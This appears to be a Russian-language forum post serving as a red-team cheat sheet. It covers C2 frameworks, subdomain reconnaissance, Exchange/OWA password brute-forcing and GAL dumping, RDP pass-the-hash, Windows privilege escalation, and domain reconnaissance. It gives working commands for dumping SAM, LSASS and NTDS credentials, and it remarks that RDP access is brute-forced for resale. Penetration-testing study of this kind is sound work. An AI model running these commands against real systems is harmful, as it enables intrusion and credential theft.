C2 фреймворки
TeamViewer, Havoc, BRc4, Am0n-Eye, Metasploit, CS, Night Hawk, Manjusaka, Empire, Covenant, Sliver, Khepri, PoshC2, Nimplant, SilentTrinity, C3 (WithSecure), Mythic, Merlin
Я лично использовал Havoc и Sliver.
Havoc - отличный C2, траблов с ним не было. Но не понравился из-за сложной установки и весит много. Большое комьюнити, фреймворк активно развивается. Есть даже инструкции как написать своего агента на питоне.
Sliver - говно редкостное в плане удобства, шелл интерактивный не всегда дает получить. Зато прост в установке (устанавливается 1 командой, есть в репозиториях kali). Это хороший вариант для учебы на виртуалках.
ВНЕШНИЙ ПЕРИМЕТР И СБОР ИНФОРМАЦИИ
Спойлер: сбор поддоменов сайта
пассивное сканирование DNSDumpster - Find & lookup dns records for recon & research Free domain research tool to discover hosts related to a domain. Find visible hosts from the attackers perspective for Red and Blue Teams. dnsdumpster.com Subdomain Finder - C99.nl Subdomain Finder is a scanner that scans an entire domain to find as many subdomains as possible. subdomainfinder.c99.nl Сайты на одном IP Узнать сайты, размещенные на одном IP адресе. Найти сайты с одинаковым IP адресом. IP 2ip.ru Узнать поддомены сайта | Найти поддомены онлайн - Be1.ru Сервис поможет быстро составить список всех проиндексированных поисковыми системами поддоменов сайта, который пригодится для дальнейшего его анализа. be1.ru Online Subdomain finder using Sublist3r,DNscan,Nmap,Anubis,Amass,Lepus,Knockpy. Discover subdomains with hosted real tools Online Subdomain finder using Sublist3r,DNscan,Nmap,Anubis,Amass,Lepus,Knockpy. Discover subdomains with hosted real tools www.nmmapper.com https://api.subdomain.center/?domain= crt.sh | Certificate Search Free CT Log Certificate Search Tool from Sectigo (formerly Comodo CA) crt.sh securitytrails - обширный список поддоменов имеет активное сканирование (шумим) findomain subfinder assetfinder amass
проверить поддомены на доступность
knock
Aquatone
httpx
словари
https://wordlists.assetnote.io - Помимо автоматически сгенерированных, на сайте есть словари сгенерированные с помощью Google BigQuery. Очень классно!
CrackStation's Password Cracking Dictionary (Pay what you want!)
exchange
утилиты для работы с exchange(owa): auxiliary/scanner/http/owa_login;mailsniper;PyMailSniper
дамп GAL с помощью MailSniper.ps
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\user -Password Qwerty123$ -OutFile GAL.txt
брут owa через ruler. Еще можно использовать Burp Suite Pro, фаззеры.
ruler --domain student.local -k brute --users users.txt --pass.txt -v
Атаки на owa(exchange) используются с целью получения доменных учеток. А если сдампить GAL, то можно понять принцип формирования имени в домене и найти те учетки у которых нет почтового ящика. Часто в owa бывают секреты, персональные данные, креды. Также используются аккаунты owa для фишинга.
У impacket есть отдельный модуль exchanger с помощью него тоже можно извлекать GAL. Подробнее про impacket тут: https://habr.com/ru/companies/ruvds/articles/743444/
impacket-exchange работает через RPC. MailSniper через HTTP парсит ответ от сервера.
У пользователя RalphHacker есть хороший репозиторий с утилитами для пентеста exchange: https://github.com/RalfHacker/ExchangeCheckPack/tree/main
mitmproxy, макросы, сброс NTLM хэшэй через impacket-smbserver про них расписывать не буду.
rdp
При включенном Restricted Admin можно произвести pass-the-hash. Подробнее читайте тут: https://www.securitylab.ru/analytics/450325.php
xfreerdp /v:127.0.0.1 /d:student.local /u:user /p:'Password123'
netexec/crackmapexec тоже поддерживает rdp.
rdp - это то место куда бьют чаще всего, чтобы получить первоначальный доступ и продать. RDP BRUTE стоит конских денег.
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ - тут история команд powershell. Можно найти учетки или любую другую информацию, которая поможет нам в повышении привилегий.
SharpUp.exe audit
DLL Hijacking ( поможет ProcMon выявить DLL`ку которую мы можем подгрузить и получить сессию для c2)
SeImpersonatePrivilege привилегия если включена, то пробуем использовать GodPotato или SigmaPotato
SeDebugPrivilege привилегия если включена, то гуглим exploit. Больше информации про опасные привилегии тут: https://github.com/gtworek/Priv2Admin
NetworkServiceExploit - очень сильно меня выручала в тасках. Получал систему.
ДАМП УЧЕТНЫХ ДАННЫХ
GitHub - zblurx/dploot: DPAPI looting in Python
firepwd (moziila)
дамп sam (локальные учетки)
reg save HKLM\SAM C:\Windows\Tasks\sam и reg save HKLM\SYSTEM C:\Windows\Tasks\system. Далее impacket-secretsdump -sam samantha.txt -system system.txt LOCALlsass dump
nanodump --valid --write c:\windows\Tasks\dump.dmppypykatz lsa minidump dump.dmpдамп ntds
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\tmp\NTDS" quit quitimpacket-secretsdump -ntds ntds.dit -system SYSTEM LOCALЕсли у нас есть домейн админ, то с помощью netexec опция --ntds также сдампим.
ТУННЕЛИРОВАНИЕ ТРАФФИКА
chisel и ligolo и другая шляпа для ctf=))))
СОБИРАЕМ ИНФОРМАЦИЮ ИЗ ДОМЕНА
PowerView
SharpView
SharpHound.exe -c All --memcache --zipfilename full.zip
--bloodhound модуль в netexec
СОФТ КОТОРЫЙ НЕ ПОПАЛ ПОД КАТЕГОРИИ ВЫШЕЕ
LIMB